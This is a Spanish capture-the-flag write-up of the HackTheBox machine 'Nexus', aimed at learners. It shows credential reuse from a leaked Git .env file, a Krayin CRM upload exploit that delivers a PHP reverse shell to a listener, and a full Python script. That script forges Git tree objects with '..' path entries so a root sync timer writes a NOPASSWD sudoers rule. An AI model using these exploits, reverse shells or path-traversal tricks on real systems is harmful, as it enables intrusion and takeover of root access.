Ir al contenido
  1. Writeups/

HackTheBox - Nexus

·12 mins
Nicolás Seral
Autor
Nicolás Seral
bla bla bla bla
  • Dificultad: easy
  • Tiempo aprox.: 4h
  • Datos Iniciales: 10.129.34.226

Enumeración inicial
#

Escaneo de puertos
#

Hacemos un escaneo de puertos y encontramos lo siguiente.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
$ sudo nmap -sT -Pn -p- 10.129.34.226 # Encuentra puertos 22,80
$ sudo nmap -sT -Pn -p22,80 -sVC 10.129.34.226 # Indica dominio nexus.htb, lo añadimos a /etc/hosts
$ sudo nmap -sT -Pn -p22,80 -sVC nexus.htb    
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 9.6p1 Ubuntu 3ubuntu13.16 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   256 0c:4b:d2:76:ab:10:06:92:05:dc:f7:55:94:7f:18:df (ECDSA)
|_  256 2d:6d:4a:4c:ee:2e:11:b6:c8:90:e6:83:e9:df:38:b0 (ED25519)
80/tcp open  http    nginx 1.24.0 (Ubuntu)
|_http-title: Nexus Energy Authority \xE2\x80\x94 Powering the Nation's Future
|_http-server-header: nginx/1.24.0 (Ubuntu)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Además, hacemos un escaneo de vhosts mientras tanto.

1
2
3
4
5
6
$ gobuster vhost -u http://nexus.htb -w /usr/share/wordlists/seclists/Discovery/DNS/n0kovo_subdomains.txt -ad
===============================================================
Starting gobuster in VHOST enumeration mode
===============================================================
git.nexus.htb Status: 200 [Size: 14474]
billing.nexus.htb Status: 302 [Size: 390] [--> http://billing.nexus.htb/admin/login]

Encontramos tanto git.nexus.htb como billing.nexus.htb. Añadimos ambos a /etc/hosts para luego.

Dominio Principal
#

Entramos al dominio principal pero no encontramos gran cosa.

Hay algo de información de la empresa y la opción de mandar un email a careers@nexus.htb o a j.matthew@nexus.htb, pero poco más. Toca ir a por algún subdominio.

Subdominio Billing
#

Probamos con billing.nexus.htb, que era una redirección a un panel de admin, a ver si nos da una versión de servicio o similar.

Vemos un panel de login de Krayin, un software de código abierto para gestionar la relación con el cliente. Permite llevar un seguimiento de ventas, contactos y demás.

Las credenciales por defecto son admin@example.com:admin123. Si las probamos, veremos que no funcionan.

En la parte inferior de la pantalla vemos algo similar a las DevTools del navegador, pero hechas en la propia página. El logo que aparece, con los cubos, es de Laravel. Podemos verlo dejando el cursor sobre el icono junto a 12.x, que indica lo siguiente:

1
2
3
4
5
6
7
Laravel Version   12.54.1
PHP Version       8.3.6
Environment       local
Debug Mode        enabled
URL               billing.nexus.HTB
Timezone          Asia/Kolkata
Locale            en

Antes de pasar un rato buscando vulnerabilidades, vamos a echar un vistazo al otro subdominio.

Subdominio Git
#

Entramos y vemos un servidor de Gitea. Ahí podemos ver un único repositorio hecho por admin, llamado krayin-docker-setup. Entramos a ver el código.

Vemos que hay 2 commits. Si vamos al más antiguo de todos (o al más reciente, de todas formas se muestran los cambios de uno a otro), veremos esto:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
# .env
APP_NAME='Krayin CRM'
DB_CONNECTION=mysql
DB_HOST=krayin-mysql
DB_PORT=3306
DB_DATABASE=krayin
DB_USERNAME=krayin
DB_PASSWORD=N27xh!!2ucY04
DB_PREFIX=
...
SESSION_DRIVER=file
SESSION_LIFETIME=120
MEMCACHED_HOST=127.0.0.1
REDIS_HOST=127.0.0.1
REDIS_PASSWORD=null
REDIS_PORT=6379
...
MAIL_FROM_ADDRESS=laravel@krayincrm.com
IMAP_HOST=imap.nexus.htb    # Servicio IMAP(S)
IMAP_PORT=993               # Pero el puerto no está abierto
IMAP_ENCRYPTION=ssl
IMAP_VALIDATE_CERT=true
IMAP_USERNAME=username1
IMAP_PASSWORD=password1
...

Dashboard y foothold inicial
#

Tenemos varias credenciales, de IMAP y de MySQL. Las más útiles (por complejidad) parecen las de MySQL. De todas formas, podemos probar con ambas combinaciones.

Lo único que nos falta es un email. Tenemos laravel@krayincrm.com, pero parece ser un placeholder y el dominio no coincide con el de la máquina. Por suerte, de antes tenemos los emails j.matthew@nexus.htb y careers@nexus.htb.

Si usamos la combinación j.matthew@nexus.htb:N27xh!!2ucY04, podemos entrar al dashboard.

Ahora si miramos el código fuente sí podremos ver la versión de Krayin.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
<!-- ... Alrededor de la línea 443 del código fuente ... -->
<!-- Version -->
<p class="text-gray-400">
    Version: 2.2.0                    </p>
</div>

<div class="grid gap-1 pb-2.5">
<a
    class="cursor-pointer px-5 py-2 text-base text-gray-800 hover:bg-gray-100
...[SNIP]...

Vemos la versión 2.2.0. Si la buscamos, daremos con el CVE-2026-38526 (Unauthenticated RCE), y con un exploit disponible en Exploit-DB.

Lo descargamos y subimos una reverse shell al servidor.

1
2
3
$ python3 exploit.py -t http://billing.nexus.htb -u j.matthew@nexus.htb -p 'N27xh!!2ucY04' -f php-reverse-shell.php
[+] File uploaded successfully.
Path to file: http://billing.nexus.htb/storage/tinymce/2b81a0ea51449f641b314b503ce9b384.php

Accedemos al enlace, y desde el listener:

1
2
3
4
5
6
7
8
9
$ penelope -i 10.10.15.75
[+] Listening for reverse shells on 10.10.15.75:4444 
➤  🏠 Main Menu (m) 💀 Payloads (p) 🔄 Clear (Ctrl-L) 🚫 Quit (q/Ctrl-C)
[+] Got reverse shell from nexus~10.129.34.226-Linux-x86_64 😍️ Assigned SessionID <1>
[+] Attempting to upgrade shell to PTY...
[+] Shell upgraded successfully using /usr/bin/python3! 💪
[+] Interacting with session [1], Shell Type: PTY, Menu key: F12 
────────────────────────────────────────────────────────────
www-data@nexus:/$

Privesc 1. Hasta Jones
#

Nada más llegar, recordemos que tenemos las credenciales de la base de datos MySQL, así que accedemos a ella directamente. Antes de nada, miramos qué otros usuarios hay.

1
2
3
4
5
www-data@nexus:~/krayin$ cat /etc/passwd | grep -vE 'false|nologin'
root:x:0:0:root:/root:/bin/bash
sync:x:4:65534:sync:/bin:/bin/sync
jones:x:1000:1000:,,,:/home/jones:/bin/bash
git:x:111:112:Git Version Control,,,:/home/git:/bin/bash

Ahí vemos el usuario jones, que será nuestro siguiente objetivo. Si ahora vamos a la DB y ponemos las credenciales, veremos que nos dice que son incorrectas.

1
2
3
www-data@nexus:~/krayin$ mysql -u krayin -D krayin -p'N27xh!!2ucY04'
mysql: [Warning] Using a password on the command line interface can be insecure.
ERROR 1045 (28000): Access denied for user 'krayin'@'localhost' (using password: YES)

Podemos volver a comprobar el archivo .env, del que habíamos sacado las primeras credenciales, para ver si han cambiado.

1
2
3
4
5
6
7
8
www-data@nexus:~/krayin$ cat .env | grep DB
DB_CONNECTION=mysql
DB_HOST=127.0.0.1
DB_PORT=3306
DB_DATABASE=krayin
DB_USERNAME=krayin
DB_PASSWORD=y27xb3ha!!74GbR
DB_PREFIX=

Vemos que efectivamente la contraseña es diferente. Antes de probar a entrar a MySQL, por si acaso, probamos a hacer su jones con la nueva contraseña.

1
2
3
www-data@nexus:~/krayin$ su jones
Password: # y27xb3ha!!74GbR
jones@nexus:/var/www/krayin$

Y ya lo tenemos, no ha hecho falta ni entrar a la DB.

Privesc 2. Hasta root
#

Una vez somos jones, enumeramos varias cosas.

1
2
3
4
# SUDO
jones@nexus:/var/www/krayin$ sudo -l
[sudo] password for jones: 
Sorry, user jones may not run sudo on nexus.
1
2
3
4
5
6
7
# PUERTOS LOCALES
jones@nexus:/var/www/krayin$ netstat -tunlp | grep 127.0.0.1
Proto Recv-Q Send-Q Local Address    Foreign Address  State     PID/Program name    
tcp   0      0      127.0.0.1:3306   0.0.0.0:*        LISTEN    # MySQL
tcp   0      0      127.0.0.1:3000   0.0.0.0:*        LISTEN    # Gitea
tcp   0      0      127.0.0.1:33060  0.0.0.0:*        LISTEN    # MySQL
# Nada nuevo ni relevante
1
2
3
4
5
6
# VERSIÓN KERNEL
jones@nexus:~$ uname -a
Linux nexus 6.8.0-111-generic #111-Ubuntu SMP PREEMPT_DYNAMIC Sat Apr 11 23:16:02 UTC 2026 x86_64 x86_64 x86_64 GNU/Linux

# Vulnerable a Fragnesia, CopyFail y DirtyFrag.
# Por respeto no vamos a usarlos 🙏🙏

Gitea Template Sync
#

Tras buscar un rato más cosas (cron, archivos escribibles, SUID, Sockets de Unix en escucha, etc.), descubro que existen los temporizadores de Systemd, que son una alternativa moderna a cron, completamente independientes, y que dependen únicamente del sistema de inicio, no de un daemon específico (como crond).

Para listarlos, puede usarse el siguiente comando:

1
2
3
4
5
6
7
$ systemctl list-timers
NEXT                            LEFT LAST                              PASSED UNIT                           ACTIVATES                       
Thu 2026-07-23 22:35:20 UTC      16s Thu 2026-07-23 22:34:20 UTC      43s ago gitea-template-sync.timer      gitea-template-sync.service
Thu 2026-07-23 22:39:00 UTC 3min 55s Thu 2026-07-23 22:09:00 UTC    26min ago phpsessionclean.timer          phpsessionclean.service
Thu 2026-07-23 22:40:00 UTC 4min 55s Thu 2026-07-23 22:30:00 UTC     5min ago sysstat-collect.timer          sysstat-collect.service
Thu 2026-07-23 23:34:35 UTC    59min Thu 2026-07-23 22:21:59 UTC    13min ago fwupd-refresh.timer            fwupd-refresh.service
...

Aquí vemos que el servicio más recientemente activado ha sido gitea-template-sync.service, que se ejecuta cada minuto (algo ya extraño de por sí). El servicio en cuestión es este:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
jones@nexus:/tmp$ cat /etc/systemd/system/gitea-template-sync.service 
[Unit]
Description=Sync Gitea templates
After=network-online.target

[Service]
Type=oneshot
User=root
ExecStart=/usr/bin/python3 /etc/gitea/template-sync.py
TimeoutStartSec=50s

Y el programa en python (/etc/gitea/template-sync.py) tiene esta parte relevante:

1
2
3
4
5
6
7
8
9
def sync_template(repo_info):
    # ...[SNIP]...
    for mode, objhash, filepath in entries:
        target = os.path.join(stage_path, filepath) # Parte vulnerable
        target_dir = os.path.dirname(target)
        os.makedirs(target_dir, exist_ok=True)
    # ...[SNIP]...
            with open(target, 'wb') as f:
                f.write(cat_result.stdout)

El programa se encarga de revisar todos los repositorios de Gitea que estén marcados como plantilla y copiarlos a un directorio local.

stage_path tiene la forma /home/git/template-staging/[USER]/[REPO]/ y filename es el nombre de cada archivo individual dentro de ese repo.

Si un atacante consigue que filename tenga un nombre como ../../../../root/.ssh/authorized_keys, el resultado de la concatenación será: /home/git/template-staging/owner/name/../../../../root/.ssh/authorized_keys, y cuando Python intente resolver la ruta, llegará a /root/.ssh/authorized_keys escribiendo ahí por tanto lo que normalmente iría a escribir en un lugar restringido.

Esto podemos explotarlo intentando escribir, por ejemplo, un par de claves SSH o una regla nueva en /etc/sudoers.d/ que nos permita ejecutar cualquier comando como root. En este caso haremos lo segundo.

Problema: Restricción de nombres
#

Ahora bien, cómo conseguimos que un archivo en Git se llame ../../../../root/...?

Si intentamos hacer git add ../archivo, el cliente de Git dará error. Git tiene protecciones de seguridad estrictas en su cliente específicamente para evitar añadir archivos fuera del directorio de trabajo o con nombres maliciosos (como el nuestro).

Para saltarnos esta restricción, tenemos que crear un archivo “a bajo nivel”. Git solo verifica los nombres en los archivos actuales del repo (los que vemos a “alto nivel”), pero no los que almacena como objetos.

Esos objetos los almacena todos en .git/objects, comprimidos con Zlib. Git usa principalmente tres tipos de objetos:

  • Blob: Contiene el contenido de un archivo (los datos en sí).
  • Tree: Actúa como un directorio. Es una lista que vincula nombres de archivos con los hashes de sus respectivos Blobs o de otros Trees.
  • Commit: Apunta al Tree raíz y guarda metadatos (autor, fecha).
Nota: Trees en Git

Los Trees en Git (y sus archivos de dentro) se construyen de dentro hacia afuera, justo al revés de como se hace normalmente.

En un SO normal, se crea una carpeta vacía y luego se meten archivos dentro. Pero en la DB de Git, un directorio (Tree) no es un directorio en sí, es simplemente un archivo de texto que contiene una lista con los hashes de los archivos y subcarpetas que tiene dentro.

Por lo tanto, el problema es de dependencia: No se puede crear el tree padre (directorio) si no se sabe el hash exacto de los hijos que va a contener. Para conocer dicho hash, primero hay que crear el archivo. Por eso mismo el script que se ve aquí abajo crea las cosas hacia atrás, primero los archivos, luego los directorios en serie, y finalmente la raíz, hasta llegar al commit principal. (Esta estructura se conoce como Árbol de Merkle)

Para hacer un archivo que tenga el nombre que buscamos y nos dé privilegios de sudoer al procesarlo el script, podemos usar un script así:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
#!/usr/bin/env python3
import hashlib, os, zlib, time

# Se guarda un objeto siguiendo el formato que requiere Git en .git/objects
def write_obj(data, t):
    h = ("%s %d" % (t, len(data))).encode() + b"\x00" # Header: Tipo + Tamaño + NULL
    s = h + data                                      # Contenido total (Header + Datos)
    sha = hashlib.sha1(s).hexdigest()                 # Hash SHA-1 de todo

    # Se usan los primeros 2 caracteres del hash como carpeta
    d = os.path.join(".git", "objects", sha[:2])
    os.makedirs(d, exist_ok=True)

    # Y el resto del hash como nombre de archivo
    p = os.path.join(d, sha[2:])
    if not os.path.exists(p):
        # Se comprime el archivo con ZLIB antes de guardarse
        open(p, "wb").write(zlib.compress(s))
    return sha

# Crea el formato que usa Git para listar un archivo dentro de un directorio (Tree)
# mode: 100644 para archivos normales, 100755 para ejecutables, y 40000 para directorios.
def entry(mode, name, sha):
    return ("%s %s" % (mode, name)).encode() + b"\x00" + bytes.fromhex(sha)


# Este es el contenido que tendrá /etc/sudoers.d/regla
payload = b'jones ALL=(ALL) NOPASSWD: ALL\n' # SALTO DE LÍNEA IMPORTANTE. Si no el parser de sudo no funcionará.
payload_blob = write_obj(payload, "blob")

# Y esta la ruta útil de directorios (/etc/sudoers.d/regla)         # -> Proceso
regla   = write_obj(entry("100644", "regla", payload_blob), "tree") # regla
sudoers_d = write_obj(entry("40000", "sudoers.d", regla), "tree")   # sudoers.d/regla
etc       = write_obj(entry("40000", "etc", sudoers_d), "tree")     # etc/sudoers.d/regla

# Ahora añadimos 5 ".." a los directorios. 
top = etc
for _ in range(5):
    top = write_obj(entry("40000", "..", top), "tree")

# Crea el directorio raíz (Tree principal del repo)
root = write_obj(entry("100644", "README.md", write_obj(b"# regla\n", "blob")) + entry("40000", "..", top),"tree",
)
# Aquí el directorio raíz contiene:
# -> Un archivo README.md
# -> Un directorio falso llamado ".." que inicia toda la cadena

# Se crea un commit y se formatea el texto del mismo (autor, fecha, mensaje)
ts = int(time.time())
commit = ("tree %s\nauthor x <x@x> %d +0000\ncommitter x <x@x> %d +0000\n\ninit\n"
          % (root, ts, ts)).encode()
sha = write_obj(commit, "commit")

# Se actualiza la referencia de la rama 'main' para que apunte al nuevo commit
os.makedirs(os.path.join(".git", "refs", "heads"), exist_ok=True)
open(os.path.join(".git", "refs", "heads", "main"), "w").write(sha + "\n")
print("Commit:", sha)

Creando repo
#

Antes de nada, tenemos que crear el repositorio. Para ello iniciamos sesión como jones con su contraseña de antes (la misma que la del SO), y creamos el repo.

Importante marcar como plantilla el repositorio a la hora de crearlo:

Ahora clonamos el repo y ejecutamos el script dentro del directorio.

1
2
3
4
5
6
7
$ git clone http://jones:'y27xb3ha!!74GbR'@git.nexus.htb/jones/exploit.git                                   
Cloning into 'exploit'...
warning: You appear to have cloned an empty repository.

$ cp ../exploit.py . # Copiamos el exploit desde donde sea hasta el directorio
$ python3 exploit.py
Commit: 99daed84ef3b9736a1ee1134ca308d764170b245

Ahora podemos comprobar que efectivamente exista el archivo que queremos, y, finalmente, lo subimos:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
# Miramos que esté todo
$ git ls-tree -r HEAD
100644 blob 6f8189a86cfd7900854fd8a59bfd618d8ec20844	README.md
100644 blob 363212f744e242988c87a3fc0ca391bd53b2ae0b	../../../../../../etc/sudoers.d/regla

# Hacemos push
$ git push -u origin main --force
Enumerating objects: 12, done.
Counting objects: 100% (12/12), done
...

Ahora ejecutamos sudo -l para comprobar que tenemos los permisos.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
jones@nexus:/tmp$ sudo -l
[sudo] password for jones: 
Sorry, user jones may not run sudo on nexus.
# No ha pasado suficiente 😔

# Tras unos segundos más...
jones@nexus:/tmp$ sudo -l
Matching Defaults entries for jones on nexus:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin, use_pty

User jones may run the following commands on nexus:
    (ALL) NOPASSWD: ALL

Y ya tenemos permisos sudo, así que ejecutamos cualquier cosa, como por ejemplo sudo -s:

1
2
3
jones@nexus:~$ sudo -s
root@nexus:/home/jones# whoami
root

Y tenemos root.

Relacionados

HackTheBox - Silentium

·18 mins
OS: Linux | Dificultad: Easy | Conceptos: Subdominio, Docker, CVE, MailHog, Git, Gogs

HackTheBox - Analytics

·8 mins
OS: Linux | Dificultad: Easy | Conceptos: Subdominio, Docker, RCE, Metabase

HackTheBox - Data

·6 mins
OS: Linux | Dificultad: Easy | Conceptos: Vulnerabilidad de Directory Traversal en Grafana, Dumpeo de Database, Crackeo de credenciales, Explotación de Regla Sudo de Docker montando el Filesystem del Host